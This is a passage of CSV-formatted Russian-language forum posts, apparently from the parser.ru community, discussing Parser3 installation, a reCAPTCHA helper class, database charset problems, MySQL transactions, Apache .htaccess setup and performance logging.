@_printOptions[hOptions][hDefaultOptions;sField;sValue]\
$hDefaultOptions[^hash::create[$self.hDefaultOptions]]\
^hDefaultOptions.add[^hash::create[$hOptions]]\
\
$result[{^hDefaultOptions.foreach[sField;sValue]{${sField}: $sValue}[, ]}][/code]\
\
Звать так:\
[code]^ReCAPTCHA:printHTML[$sPublicKey][/code]\
или, например, так:\
[code]^ReCAPTCHA:printAJAX[$sPublicKey][\
	$.callback[myCallbackFunction]\
][/code]\
\
Если вызывать динамически, то можно передать опции в констурктор и исключить их из вызова методов:\
[code]$oReCAPTCHA[^ReCAPTCHA::create[\
	$.lang['en']\
]]\
…\
^oReCAPTCHA.printHTML[$sPublicKey]\
[/code]\
\
Проверка:\
[code]\
# хэш-результат с двумя ключами: флаг «valid» и описание ошибки «errorcode»\
$hCAPTCHA[^ReCAPTCHA:verify[$sSecretKey;$form:fields]]\
\
^if($hCAPTCHA.valid){\
	OK\
}{\
	something wrong, ^ReCAPTCHA:printHTML[$sPublicKey;;$hCAPTCHA.errorcode]\
}\
[/code]"
"74714","Он сформировал и выдал тот код, который запрограммировали вы.\
Участвовать в «перехлопывании» чего-либо и взаимодействовать с JS-фремворками на клиентской стороне он не в состоянии в принципе."
"74715","Мне это видится необъяснимым, так как без использования парсера этот же код работает совершенно нормально. Кто-н может объяснить, от чего это происходит?\
P.S. Я не сам писал код к гармошке. Взял готовое с сайта jquery.com.\
   А вот и он сам:\
[code]\
$(function(){\
	$(\".menu h5\").addClass(\"active\");\
	$(\".menu ul\").hide();\
	$(\".menu h5\").click(function(){\
		$(this).next(\"ul\").slideToggle(\"fast\").siblings(\"ul:visible\").slideUp(\"fast\");\
		$(this).toggleClass(\"active\");\
		$(this).siblings(\"h5\").removeClass(\"active\");\
	});\
});\
[/code]"
"74717","Все просто. Передаёте домен, получаете готовый ответ.\
\
К примеру\
$domen_name[россия.рф]\
$file[^file::load[text;http://vash-host.ru/decod.php?key=^taint[uri][$domen_name];$.timeout(20)]]\
$file.text\
\
И получаете ответ. Остальное скрипт берет на себя.\
\
И не надо переделывать на parser :)"
"74718","Не знаю насколько существенно, но все-таки\
Парсер [b]parser3_4_1_freebsd81R_cgi_xml[/b]\
Вроде сделал все правильно, вроде работает, детально пока не проверял, попытка запустить файл [b]_test.html[/b] отсюда \
[url=\"http://www.parser.ru/f/1/download/utils/parser3test_russian.zip\"]http://www.parser.ru/f/1/download/utils/parser3test_russian.zip[/url]\
приводит к ошибке 500 и в рядом с parser3.cgi появляется parser3.cgi.core размером 52 мегабайта, думаю был бы больше но похоже дисковая квота сработала..."
"74722","При все при этом элементарные функции работают...\
http://in-verto.ru/test.html\
локально на денвере обновил парсер до 3.4.1 все нормально работает. Подскажите как именно проверить что жрет память? \
Заранее спасибо за ответ."
"74724","Странно, я взял exe-шник с xml, распаковал его в cgi-bin, запустил и он мне сообщил, что ему не хватает iconv, затем zlib1 (ну а потом либ для xml). Всё это на \"чистой\" XP, т.е. этих либ нет в системе (обычно они с каким нибудь софтом доставляются). Что я сделал не так?\
\
То, что либы для xml лежат рядом я знаю и написал про это. Почему их нельзя в архив с exe-шником положить?"
"74725","что вы сделали не так я не знаю.\
я беру один exe, запускаю -- ошибка на отсутствие gc.dll\
кладу рядом его, запускаю -- ошибка на отсутствие libxml2.dll\
кладу его рядом, запускаю -- требует libxslt.dll\
--\"-- -- требует libexslt.dll\
кладу его -- запускается.\
\
предположение: вы не совсем точно знаете что происходит в вашей OS, и где-то по путям находятся одноимённые либы, собранные с другими зависимостями.\
\
\
не вижу смысла класть либы в архив с исполняемым файлом. в инсталляторе всё будет в куче, но инсталлятор пока не готов из-за неготовности английской версии документации."
"74726","Спасибо"
"74728","Насколько понял тест типа 2+2=4 работает, значит надо комментировать/удалять куски из _test.html, чтобы локализовать проблемное место. Начать возможно следует с работы с SQL, если конечно в cgi/auto.p настроено подключение к базе."
"74729","Дает ошибку при работе драйвера MySQL \
[code]'./lib/libparser3mysql.so' driver failed to initialize client library '/usr/local/lib/mysql/libmysqlclient.so', can't open the module [<no type>] [uri=/locale.rp, method=GET, cl=0][/code]\
\
Сразу обращаю внимание что путь к libmysqlclient.so дал хостер и я его прописал в auto.p в строке:\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so"
"74732","... из консоли:\
[code]\
ls -l /usr/local/lib/mysql/libmysqlclient.so\
[/code]"
"74735","Сам Gарсер и его драйвер для mysql соответствуют системе в плане битности?"
"74736","Судя по всему операционка 64-битная по крайней мере MySQL ELF 64-bit LSB shared object, x86-64. Я ставил 32-битный парсер, может проблема в этом?"
"74737","Нет, я ставил 32-бита сейчас перезакачаю..."
"74740","Имеется в наличии:\
1.Ubuntu 10.04\
2.LAMP-сервер\
3.Установленный через синаптик Parser.\
\
Пробовал поставить его по инструкции вот отсюда http://deemvest.com.ru/parser-3-na-ubuntu-9-10\
\
Теперь если пытаешься зайти на локалхост выходит такое сообщение:\
[quote]Not Found\
The requested URL /usr/lib/cgi-bin/parser3/index.html was not found on this server.[/quote]\
\
Помогите запустить его."
"74741","Здравствуйте!\
Не понимаю в чем проблема!\
Когда добавляю информацию в БД средствами Парсера(^viod:sql и т.д.) , на сайта все очень красиво отображается, хотя при этом в таблицах БД кракозябры, а если добавлять текст в таблицы БД непосредственно через PhpMyadmin, то в БД все красиво, а на сайт приходят вопросы (????????????) вместо слов.\
\
Че делать-то, люди подскажите, плиз.\
\
зы: БД в MySQL-кодировка: UTF-8 Unicode (utf8)"
"74743","Похоже, что да, но я не уверена. Подскажите верный способ проверить это, плиз."
"74744","1. покажите вашу строку соединения с БД (скройте пароль), нас интересует то, что после символа '?' (подозреваю, что у вас там вообще нет параметров)\
2. расскажите, что у вас написано в $request:charset[...] в конфигурационном auto.p (подозреваю, что у вас там \"windows-1251\")\
\
если мои подозрения верны, то в строку соединения с ЬД надо добавить опцию ?charset=cp1251, но имейте в виду, что уже записанное в БД перестанет нормально доставаться. но так и должно быть, ибо в вашем случае туда были записаны некорректно закодированные символы.\
\
\
также можете попробовать тестовый скрипт. помнится он умеет давать какие-то советы по указанию правильной кодировке в строке соединения с БД."
"74745","Поэтому внесите небольшие правки в класс\
$self.sChallengeURL[http://www.google.com/recaptcha/api/challenge]\
$self.sNoscriptChallengeURL[http://www.google.com/recaptcha/api/noscript]\
$self.sAJAXURL[http://www.google.com/recaptcha/api/js/recaptcha_ajax.js]\
$self.sVerifyURL[http://www.google.com/recaptcha/api/verify]\
\
И еще было бы здорово если бы опубликовали в копилке примеров http://www.parser.ru/examples/"
"74746","Да, все верно.\
Добавила параметр ?charset=cp1251 и все стало криво, благо таблицы были тестовые)). Пришлось пересохранять все index.html,ли и файлы пользовательских классов в cp1251, но за то все теперь правильно приходит из БД. \
\
Очень большое СПАСИБО!"
"74747","э-э-э.\
у вас файлы были в utf-8, а в $request:charset было указано windows-1251?\
\
по моему более правильный путь таков: убрать ?charset, обратно перекодировать все html файлы в utf-8 и заменить значение в $request:charset на \"utf-8\"\
\
в этом случае всё будет в utf-8 и никаких перекодирований не будет вообще."
"74748","- приведите содержимое вашего корневого .htaccess\
- приведите пути к document_root и к каталогу, где расположен исполняемый файл парсера"
"74749","Ну да файлы были в utf-8, в $request:charset было указано windows-1251, и в строке подключения к БД небыло ?charset. Потом я исправила $request:charset на utf-8, но проблема не решилась. \
\
В общем ситуация была такова:\
\
Когда отправляешь данные в БД средствами Parser (^void:sql и т.д.) то в БД данные хранились в кракозябрах, а на сайт приходили правильно.\
Если добавлять данные через phpMyAdmin, то в БД данные отображались привильно, а на сайт приходили вопросиками (????????).\
Вот собственно , что было. \
\
Теперь все отлично, спасибо Misha v. =)"
"74750","открыть страницу с данными и посмотреть кодировку в фрейме +)"
"74751","[quote]\
файлы были в utf-8, в $request:charset было указано windows-1251\
[/quote]\
\
вот это и было проблемой: в request:charset указывается, в какой кодировке символы в файлах.\
я-бы вернул UTF-8 и избавился от перекодирования при общении с БД.\
но опробованное ранее решение тоже имеет право на жизнь."
"74752","Ну да...\
Еще раз Спасибо за помощь =)"
"74753","[quote]\
AddHandler parsed-html html\
Action parsed-html /usr/lib/cgi-bin/parser3\
\
# Deny access to .p files, mainly: auto.p\
<Files ~ \"\\.p$\">\
  Order allow,deny\
  Deny from all\
</Files>\
[/quote]\
/usr/lib/cgi-bin/parser3 - по крайней мере тут один cgi-bin нашел.\
А что за document_root каталог?"
"74754","/usr/lib - лишнее.\
И надеюсь у вас в конфигурации apache у вас там написано\
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/"
"74755","Как настроить конфигурацию апача? Извиняюсь заранее за такие глупые вопросы, но на убунту только недавно пересел.\
\
апач установлен из синаптика."
"74756","@sections[uri]\
^switch[$uri]{ \
   ^case[^uri.match[\\/items.+]]{загружаем раздел items} \
}\
\
Че-то не работает ("
"74757","... но подобные свитчи пишутся иначе:\
[code]\
  ^switch(true){\
    ^case(^uri.match[^^/items.+][n]){\
       загружаем раздел items\
    }\
  }\
[/code]\
\
И чем if-то не угодил?"
"74758","Просто видел аналогичный пример на ПХП, в зависимости от совпадения строки будет загружаться такой то раздел. В ури передается адрес.\
Свитчем красивее...но вот не работает"
"74759","... на основе внутреннего фреймворка. Почитайте \"уроки\" и про класс MAIN в документации - это гораздо лучше той чепухи, которую вы привели в качестве примера. :)"
"74760","Да я читал, просто пытаюсь ЧПУ сделать и весь сайт чтобы через индекс.хтмл работал =)"
"74761","... на нужные страницы и использовать ту систему, которая уже есть в Парсере. Подход со свитчем очень быстро приведет к тому, что код головного index.html будет громадным и неповоротливым."
"74762","Я неочень силен в этом, но не могли бы вы подсказать? Если вот я хочу сайт сделать весь через одну страницу. Например будет раздел \"каталог\" мне нужно написать класс и в главном индекс.хтмл подгружать из него методы? Ведь в уроке там в ауто.п в майн классе меняются футеры хедеры и т.д. А как я заменю футер или хедер, если будет раздел каталог? Ведь папки каталог не будет существовать и следовательно файла ауто.п там тоже не будет. Наверное вопрос такой\
Как переопределить например хедер или контент внутри одной страницы чтоли..."
"74763","там-же сказано что ещё и где именно надо прописать.\
сделайте как написано."
"74764","Создайте в папке catalog файл index.html и через mod_rewrite перенаправьте не него запросы только c http://site.ru/catalog/*. При этом сохранится парсеровское \"наследование auto.p\".\
\
p.s. Я могу предложить [url=http://www.parser.ru/forum/?id=62238]другое решение[/url], но оно годится только если вы достаточно хорошо понимаете как работать с объектами и классами."
"74765","Добрый день не могу установить ваш cms  на серваке.\
Сервак на ubunto10, php 5"
"74766","Все сделал по инструкции. А все равно не работатет. \
.htaccess писал такой же как и винструкции. И все остальное тоже проделано."
"74767","[quote]AddHandler parsed-html html\
Action parsed-html /usr/lib/cgi-bin/parser\
\
# Deny access to .p files, mainly: auto.p\
<Files ~ \"\\.p$\">\
  Order allow,deny\
  Deny from all\
</Files>[/quote]\
\
Это мой .htaccess если заменить строчку [b]/usr/lib/cgi-bin/parser[/b] то и ответ в браузере меняется на замененный путь...\
\
PS может кто-нибудь напишет нормальную инструкцию по установке, и небудет отсылать в документацию где толком и человеческим языком про установку не сказано..."
"74768","Вы же пытаетесь ставить Парсер из некоторого пакета по стороннему описанию и требуете, чтобы мы это прокомментировали. Может стоит, для начала, установить штатным способом? Только надо посмотреть настроен ли cgi-bin в конфиге Апача.\
\
Если что-то не получается, то будьте добры подробно описывать все действия, сообщения в логах и файлы конфигурации.\
\
p.s. И вам все равно прийдется поразбираться с тем что и куда надо ставить в конкретном Линуксе.\
p.p.s. Ubuntu == Debian"
"74769","Между /usr/lib/cgi-bin/parser, как у вас в .htaccess\
и /cgi-bin/parser3, как написано в вашей же инструкции?"
"74770","Сделал все по документации.\
Все тоже самое разве что теперь пишет что /cgi-bin/parser3.cgi/index.html\
Конфигурационные файлы кодировок на месте, скрипт на месте, .htaccess создан по мануалу. Что делать?"
"74771","Как у вас таки исполняемый файл парсера называется?\
Ну и вообще в error_log apache пишется полный дисковый путь файла, который он ищет - можно сравнить с реальным местоположением парсера."
"74772","Запустилось, но в браузере выдает [b]/: '/usr/lib/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode[/b]"
"74773","При поиске ключевое слово \"grpunlim\".\
\
И, конечно, все это надо делать только в том случае, если известно, что в Апаче не настроен suexec. Если настроен, то надо проверить группу пользователя от которого выполняются cgi-скрипты и совпадает ли она с группой файлов скриптов на Парсере."
"74774","А что нужно написать в файл httpd.conf чтобы он заработал?"
"74776","Спасибо всем большое что сразу не запинали, и не отправляли в гугл, прошу прошения что вынес многим мозг...\
Оно работает)))"
"74777","Уважаемые гуру и монстры парсера подскажите как правильно включить код на jqery в код парсера? Простое добавление его в index.html дает всевозможные ошибки синтаксиса например \
[code]\
syntax error, unexpected STRING, expecting ')'\
[/code]"
"74778","Например такая конструкция \
[code]\
url^: '/locale.rp?action=region&parent_id='+country_id,\
[/code]\
дает\
[code]\
(8:6): syntax error, unexpected STRING, expecting ')'\
[/code]\
Заранее спасибо всем ответившим..."
"74779","<script type=\"text/javascript\" src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js\"></script> \
<script type=\"text/javascript\" src=\"/js/gs-script/carusel.js\"></script>"
"74780","Его надо запихнуть в файл.js и подключать его? \
[code]\
<script type=\"text/javascript\" src=\"файл.js\"></script>\
[/code]\
Размещенный например в index.html код на js работать не будет в приципе?\
Заранее спасибо за ответ..."
"74781","Намного проще в коде парсера повесить на эллементы id или классы и к ним уже обращаться.\
\
http://www.parser.ru/docs/lang/stringlit.htm"
"74782","Понял, спасибо"
"74783","Всем, здравствуйте!\
Подскажите пожалуйста как можно сделать так, чтобы к разделу например /admin/, лежать всякие админкие классы для управлением контентом сайта мог иметь доступ только админ и особы приближенные, а остальные прользователи сайта - нет?"
"74785","после этого прописать нужные \"магические\" строчки в /admin/.htaccess"
"74787","Пробую скопировать с ПК на сервер файл, но $form:way определяет лишь имя файла с расширением. Как получить полный путь до файла для его копирования?\
[code]\
<form method=\"POST\">\
<table>\
     <tr>\
         <td>	 \
	 Файл:<br>\
	 <input type=\"file\" name=\"way\" size=\"60\"><br>\
	 <span>Укажите прикрепляемый файл.</span>\
	 </td>\
     </tr>\
</table>\
</form>\
[/code]\
и\
[code]	\
^if(def $form:way){\
     ^file:copy[$form:way;/catalog/^file:basename[$form:way]]\
}\
[/code]"
"74788","Спасибо!\
Это я сделала!\
А теперь как завершить сессию?"
"74790","... и как с ним работать из Парсера."
"74791","Благодарю!"
"74792","Всем привет\
\
\
Вот кусок из файла auto.p:\
[code]<h2>^product_name[]</h2>[/code]\
\
Вот содержание index.html:\
[code]@product_name[]\
Наименование товара[/code]\
\
В результате получаем:\
[code]<h2>Наименование товара</h2>[/code]\
\
Теперь добавляем комментарий в index.html:\
[code]@product_name[]\
Наименование товара\
#Это комментарий[/code]\
\
И получаем:\
[code]<h2>Наименование товара\
</h2>[/code]\
\
Откуда берется перевод строки? Это баг или я что-то не понимаю?\
\
P.S. Версия Парсера 3.4.1"
"74793","@product_name[]\
$result[Наименование товара]"
"74794","Скопировал parser3.cgi в /cgi-bin/, запустил, работает\
Создал .htaccess в корне, забил код\
В httpd.conf прописал AllowOverride All.\
Не работает. Вписывал строку в .htaccess — ошибок нет, по-видимому не читается. В чем проблема?"
"74795","что \"вписывали\"?\
куда \"вписывали\"?\
что не работает?"
"74796","Здравствуйте, уважаемые формучане.\
\
В Зеленоградскую компанию по разработке сайтов ищется Parser программист. Предпочтение отдается для Зеленоградцев. Все подробности по почте.\
\
С уважением, Никишин Константин\
Компания интернет-решений\
Digital Art Company"
"74797","остался вопрос. Имеется две формы на одной странице срабатывающие одновременно, при нажатии на ссылку, но работает только вторая:\
[code]		\
<form method=\"post\" id=\"fileform\" enctype=\"multipart/form-data\">\
  <input type=\"file\" name=\"way\">\
</form>\
[/code]\
и\
[code]\
<form method=\"POST\" id=\"otherform\">\
   <select>\
      ^manufacture.menu{<option>$manufacture.type</option>}\
   </select>\
</form>\
<a href=\"javascript: submitform()\">Добавить</a>\
[/code]\
Объединяется \
[code]\
<script type=\"text/javascript\">\
   function submitform()\
      {\
         document.forms[\"fileform\"].submit();\
         document.forms[\"otherform\"].submit();\
      }\
</script>\
[/code]"
"74798","две формы не могут быть запощены одновременно.\
это равносильно тому, что вы кликните по одной ссылке, и сразу после этого -- по соседней.\
\
отправка одной формы == 1 http запрос.\
\
P.S. ajax вам в помощь."
"74799","1) Скачал cgi-скрипт с поддержкой XML для 64-битной МакОс\
2) Скопировал его в cgi-bin директорию MAMP'a (при обращении к нему выдает: Parser/3.4.1 (compiled on i386-apple-darwin10.6.0))\
3) Создал .htaccess файл в корне веб-директории MAMP'a (Прописал назначение обработчиком .html страниц и запрет на доступ к .p файлам)…\
4) Закинул тестовый .html документ для проверки\
5) Проверил функцию «AllowOverride» в httpd.conf — все ОК.\
6) В качестве проверки вписал в .htaccess неверную функцию, в итоге никакой 500 ошибки. Значит ли это, что .htaccess не обрабатывается?.."
"74800","[quote]Значит ли это, что .htaccess не обрабатывается?..\
[/quote]\
\
Да. Например такие варианты возможны:\
\
- .htaccess лежит таки не в DocumentRoot\
- добавленное AllowOverride All перекрыто для DocumentRoot"
"74801","1) .htaccess в DocumentRoot, без вариантов\
\
# MAMP DOCUMENT_ROOT !! Don't remove this line !!\
DocumentRoot \"/Applications/MAMP/htdocs\"\
\
2) AllowOverride включен для ВСЕХ директорий, кроме:\
-<Directory \"/Applications/MAMP/Library/icons\">\
-<Directory \"/Applications/MAMP/bin/phpMyAdmin\">\
-<Directory \"/Applications/MAMP/bin/SQLiteManager\">\
-<Directory \"/Applications/MAMP/bin/mamp\">\
-<Directory \"/Applications/MAMP/Library/manual\">\
-<Directory \"/Applications/MAMP/cgi-bin\">"
"74802","Может .htaccess иначе называется (директива AccessFileName)?"
"74803","Лог ошибки:\
\
[Tue Mar 22 13:10:17 2011] [alert] [client ::1] /Applications/MAMP/htdocs/.htaccess: Invalid command '{\\\\rtf1\\\\ansi\\\\ansicpg1252\\\\cocoartf1038\\\\cocoasubrtf350', perhaps mis-spelled or defined by a module not included in the server configuration"
"74805","Судя по тексту ошибки, .htaccess таки обрабатывается. Вот только почему-то формат у него не текстовый, а похоже что у вас rtf получился. Хорошо хоть не word. :)"
"74806","Да, но в моем случае откуда все таки взялся перевод строки?\
\
Ведь если после одной функции объявить другую:\
[code]@product_name[]\
Наименование товара\
\
@product_description[]\
Описание товара[/code]\
\
Все работает корректно, перевод строки появляется только после добавления комментария."
"74807","В документации это явно не описано, а значит поведение может поменяться. Если вам не нужен перенос строки - воспользуйтесь $result, как вам посоветовали. Например в 3.4.1 поменялось поведение множественных переносов между методами - от них оставляется только один (кстати в новостях про это кажется забыли написать)."
"74808","[quote]\
Теперь пробельные символы, написанные в коде между методами, не попадают в результат.\
[/quote]"
"74809","Горе от ума, что называется. Маковский Текстэдит по умолчанию сохранял файл в РТФе… А поскольку расширения у .htaccess не видно, то не понятно было что с ним не так. Аминь. \
Спасибо за помощь."
"74810","Все прекрасно работает и в одной форме."
"74811","А то иногда при написании сложных мест надо понаставить всяких отступов и пробелов, а на факте получить все в одну строк.\
Например что-то подобное есть у вас в http://www.parser.ru/docs/lang/xdocoptions.htm."
"74812","http://www.parser.ru/docs/lang/?definemethod.htm\
\
Случайно не то, что вы просите?"
"74813","мне это надо при\
[code]^table.menu{}[/code]\
Чтоб, весь вывод внутри был в одну строку.\
Иногда надо чтоб хтмл строки шли без пробелов, особенно при инлайн блоках +)\
решаю пока так\
[code]^table.menu{<li>\
какой-то код\
</li>}[/code]\
Но удобочитаемость падает."
"74815","Добрый день. У меня два вопроса\
\
Первый - никак не могу до конца разобраться с классом Sql.p и транзакциями. Я правильно понимаю, что если нас транзакции не волнуют (например в таблицах myisam), то можно делать sql запросы по мере надобности в виде\
\
[code]\
^oSql.void{INSERT ...}\
$table[^oSql.table{SELECT ...}]\
^oSql.void{UPDATE ...}\
[/code]\
\
В данном случае это будет 3 отдельных транзакции? Если же мы используем innodb и хотим какую-то общую транзакцию, то придётся обернуть код в ^oSql.server{}?\
\
В статье \"О переносимости sql запросов\" написано \"Необходимо помнить, что в этом случае каждый запрос будет выполнен как отдельная транзакция и если вам этого не нужно - то писать вокруг группы запросов, которые должны быть выполнены как одна транзакция вам придется.\"\
\
Это как раз об этом, но непонятно, что нужно писать - connect вокруг группы запросов или ^oSql.server{}. И нужно ли добавлять ^oSql.void{START TRANSACTION / COMMIT}?\
\
\
Второй вопрос - есть ли какой-то простой способ проверить, что транзакция в innodb работает? Дело в том, что у меня работают все способы - и с обёрткой в ^oSql.server{} всей страницы, и без неё, и с множеством обёрток  ^oSql.server{несколько запросов}, и с обёртками вида \
\
[code]\
^oSql.server{\
	^oSql.void{START TRANSACTION}\
	^oSql.void{INSERT ...}\
	^oSql.void{UPDATE ...}\
	^oSql.void{COMMIT}\
}\
[/code]\
\
а вот способ тестирования в голову не приходит.\
\
Заранее спасибо"
"74816","START -> INSERT -> ROLLBACK... после ролбэка в базе не должны появиться записиь из инсерта. Естественно надо проверить, что параметр AUTOCOMMIT == 0 (либо в строке подключения, либо после установки через SET)."
"74817","Точно, спасибо!\
\
Опытным путем установил, что не важно, как обёртывать запросы - ^oSql.server{ или ^connect[$connect_string]{ - главное писать ^oSql.void{START TRANSACTION} и ^oSql.void{COMMIT}. Так вроде?\
\
Либо использовать класс, который это напишет автоматом"
"74818","Variable_name 	Value\
have_innodb 	YES"
"74819","Вы имеете в виду проверку поддержки innodb таблиц? Ну так в их поддержки я уверен, я их использую."
"74820","У [url=http://code.google.com/p/parser3-pf/source/browse/#svn%2Ftrunk%2Fpf%2Fsql%253Fstate%253Dclosed]меня в классах[/url] это делается автоматически, если задать соответствующий ключик в конструкторе или методе transaction. Еще и rollback родной есть."
"74821","Я хочу сделать замену подстроки но с итерацией\
но пока вижу только грабли\
\
$str[A Z A Z A Z]\
$i(0)\
\
^str.match[A][g]{B=^i.inc[]}\
\
[/code]\
\
В результате я получаю\
B= Z B= Z B= Z ...\
А хотел бы:\
B=1 Z B=2 Z B=3 Z\
\
$i не только не итерируются, но вообще не выполняется метод ^inc\
\
Подскажите как это надо сделать правильно"
"74822","И регулярки тут вообще не при чем."
"74823","когда добавите опцию ?autocommit=0 в строку соединения (как сказано в доке), то MySQL перейдёт из режима autocommit, когда каждый запрос автоматически коммитится в нормальный режим работы, когда в начале connect делается begin, а в конце -- commit (а в случае exception -- rollback).\
\
и Sql-классы начнут это поддерживать: те запросы, которые надо будет выполнять в одной транзакции надо будет указывать в отдельном .server."
"74825","Сделал небольшое тестирование \
[code]\
^oSql.server{\
	^rusage[autocommit=0/1 wrap=0/1 bef]\
	^for[i](1;300){\
		^oSql.void{INSERT objects SET object_title = '1'}\
	}\
	^oSql.void{TRUNCATE objects}\
	^rusage[autocommit=0/1 wrap=0/1 aft]\
}\
[/code]\
\
получилось что-то в таком духе на локальном сервере\
\
[code]\
autocommit=1 wrap=1 bef 0.1875 0.015625\
autocommit=1 wrap=1 aft 0.359375 0.203125 - 0.17 ms\
\
autocommit=1 wrap=0 bef 0.171875 0.03125\
autocommit=1 wrap=0 aft 0.453125 0.234375 - 0.28 ms\
\
autocommit=0 wrap=1 bef 0.203125 0.03125\
autocommit=0 wrap=1 aft 0.296875 0.203125 - 0.09 ms\
\
autocommit=0 wrap=0 bef 0.203125 0.03125\
autocommit=0 wrap=0 aft 0.4375 0.28125 - 0.23 ms\
[/code]\
\
Получается, что общая обёртка ^oSql.server{} выгоднее в плане производительности. И если autocommit=1, то её надо делать, и делать как можно раньше, в корневом @main[] например.\
\
А вот если autocommit=0 и ^oSql.server{} в @main[], то получится, что все запросы к базе идут внутри одной транзакции. Я чувствую, что где-то подвох, и что это не очень хорошо, но не могу понять где. Так ли это? Или это совершенно нормально - все запросы к базе в рамках одного http запроса проводить как одну транзакцию?\
\
Спасибо"
"74827","эти цифры вообще ни о чем не говорят.\
сколько в этих 0.17 приходится на выполнение запросов в вашей системе?\
\
в общем несомненно, что вызов метода server один раз выгоднее, чем вызов его-же 300 раз. тут спорить не о чем. или были какие-то сомнения?\
\
более того, все запросы будут выполнены в рамках одного соединения (connect) с sql сервером.\
\
все запросы в рамках одной транзакции плохи тем, что если выполнение прервётся по exception-у (не обязательно в момент выполнения sql запроса), то commit-а не произойдёт.\
\
т.е. как работу с транзакциями можно сравнивать с работой без транзакций, учитывая лишь разницу во времени я не очень понимаю.\
транзакции нужны и используются с определёнными целями. иногда их использование позволяет сократить код и избежать появления в БД \"кусков\" данных."
"74828","... если использовать START/COMMIT:\
\
[quote]\
To disable autocommit mode for a single series of statements, use the START TRANSACTION statement:\
\
START TRANSACTION;\
SELECT @A:=SUM(salary) FROM table1 WHERE type=1;\
UPDATE table2 SET summary=@A WHERE type=1;\
COMMIT;\
\
With START TRANSACTION, autocommit remains disabled until you end the transaction with COMMIT or ROLLBACK. The autocommit mode then reverts to its previous state. \
[/quote]\
http://dev.mysql.com/doc/refman/5.1/en/commit.html\
\
MySQL сам отключает autocommit при старте транзакции, а потом восстанавливает предыдущее значение. Естественно это все работает только для движков, поддерживающих транзакции (InnoDB/NDBCLUSTER). \
\
p.s. Я предпочитаю явно задавать команды для транзакций - потом в логе запросов хорошо видно что происходило."
"74829","Фактически есть два случая, когда они помогают:\
* Если нужно сделать несколько обновлений (как вариант несколько инсертов/апдейтов) данных, при этом в процессе могут происходить ошибки, которые критически влияют на результат. Очевидные примеры: работа с деньгами или аплоад картинки на сервер (вставляем в табличку картинку, получаем last_insert_id, сохраняем картинку на диск с именем id.jpg и у нас не хватает места на диске - в этом случае просто откатываем транзакцию, чтобы не писать руками всякие \"delete from ...\").\
* Массовая вставка или обновление данных в InnoDB. В этом случае основная проблема - обновление индекса - т.е. хочется, чтобы мускуль обновлял индекс один раз, а не при каждой вставке. Этого можно добиться при использовании транзакций (для MyISAM это же происходит при использовании LOCK/UNLOCK).\
\
А какие примеры необходимости использования транзакций в вебе могут привести коллеги?"
"74830","т.е. в логах запросов оно будет фигурировать.\
\
в случае явного отключения автокоммита с помощью set можно в рамках одного connect делать часть запросов с autocommit-ом, а часть -- в виде транзакций.\
\
каждый использует то, что ему удобнее :)"
"74831","первая задача может быть решена без транзакций небольшим изменением логики: сохранили файл с именем UUID, добавили запись в БД, получили last_insert_id, переименовали файл (последние два шага опциональны, uuid-а достаточно)\
\
а я так даже и не вспомню, когда я использовал транзакции %-)"
"74833","... тут юид и сломается - ключ из него хреновый. ;)"
"74835","Ну я, видимо, сам себя запутал, отсюда и возникло сомнение."
"74836","Добрый день!\
\
Есть потребность много и постоянно преобразовывать url-ы из динамических в статические используя mod_rewrite.\
\
Нет на хостинге Perl-а (а я уже писал такое), хочу сделать на Parser.\
\
Подскажите, как написать демона который читает с ввода некий id, а на выход отдаёт subid и при этом всегда готов?\
\
$console:line в бесконечном цикле не выходит - срабатывает защита от зацикливания и выход по ошибке..."
"74837","А точно нельзя сгенерировать карту один раз? На хостинге точно нет Питона, Руби или еще чего-нибудь подобного?"
"74838","И рацпредложение. \
Давайте создадим библиотеку бесплатных шрифтов для Парсера.\
С меня реализация и хостинг. Ну и шрифты которые я уже успел налабать."
"74839","Типа религия, ага. :)\
Нет, карта динамическая, надо перегенерировать регулярно. Десятки тысяч url из поисковых слов.\
База sql подходит идеально.\
\
Хотя... C... может быть... писал же когда-то...\
Руби и Питон есть, но я их не знаю.\
Неужели никто никогда на Парсер?"
"74840","Долгоживущие программы - не его сфера применения. Тем более на шаред-хостингах.\
\
Мне не совсем понятно, что вы пытаетесь сделать, но можно попробовать следующее: завернуть все запросы на единую точку входа где Парсером вычислить урл и сделать http-редирект. Можно и без редиректов, если Парсеровский скрипт сможет сам сформировать ответ, вызвав нужные модули сайта."
"74843","В [code]@postprocess[][/code] вызываю [code]^Erusage:log[$.sFile[/log/erusage.log]][/code]\
\
и получаю следующую запись:\
\
[code]\
[2011-03-26 18:56:12]	0.0000	0.4066	2940	[612/40]	127.0.0.1	/\
[/code]\
\
Интересует, что за значения 2—5 получаю?"
"74844","2. $memory:rusage.utime (см. доку)\
3. время выполнения от begin до now (именно поэтому рекомендуется подключать Erusage первым). рассчитывается на основании $memory:rusage.tv_sec и .tv_usec\
4. $memory:rusage.maxrss (см. доку)\
5. $status:memory.user/$status:memory.free (см. доку)\
\
цифры времени нельзя сравнивать между разными компьютерами.\
цифры памяти -- между разными OS.\
\
2. должно быть маленьким. всегда. если значение большое, при относительно небольшом значении 3, это означает, что где-то очень серьёзный алгоритмический косяк. я с таким встречался лишь один раз: был очень неоптимальный xsl.\
\
примеры значений с parser.ru (приблизительные. напрямую сравнивать с вашими результатами нельзя):\
\
2.\
parser.ru/ : 0.03 из кэша\
parser.ru/ : 0.09 генерация\
parser.ru/forum/ : 0.3\
\
3. \
parser.ru/ : 0.03 из кэша\
parser.ru/ : 0.1 генерация\
parser.ru/forum/ : 0.35\
\
4. \
parser.ru/ : 4000 -- из кэша\
parser.ru/ : 8000 -- генерация\
parser.ru/forum/ : 11000 (никогда не кэшируется)\
\
5. \
parser.ru/ : [1500/50] -- из кэша\
parser.ru/ : [4000/750] -- генерация\
parser.ru/forum/ : [6500/2050]\
\
близость значений 2 и 3 означают маленькую загрузку сервера.\
\
\
я рекомендую НЕ писать в лог всё подряд.\
для начала включить запись всего, посмотреть на ваши типичные значения в 3 и 4 столбце и затем указать методу log опции\
$.dTime и $.dMaxRss, со значениями, превышающими ваши типичные значения.\
\
после этого в лог будет писаться только информация о страницах, при генерации которой превышены указанные лимиты."
"74845","Когда нибудь появятся нормальные классы  для работы с изображениями...\
\
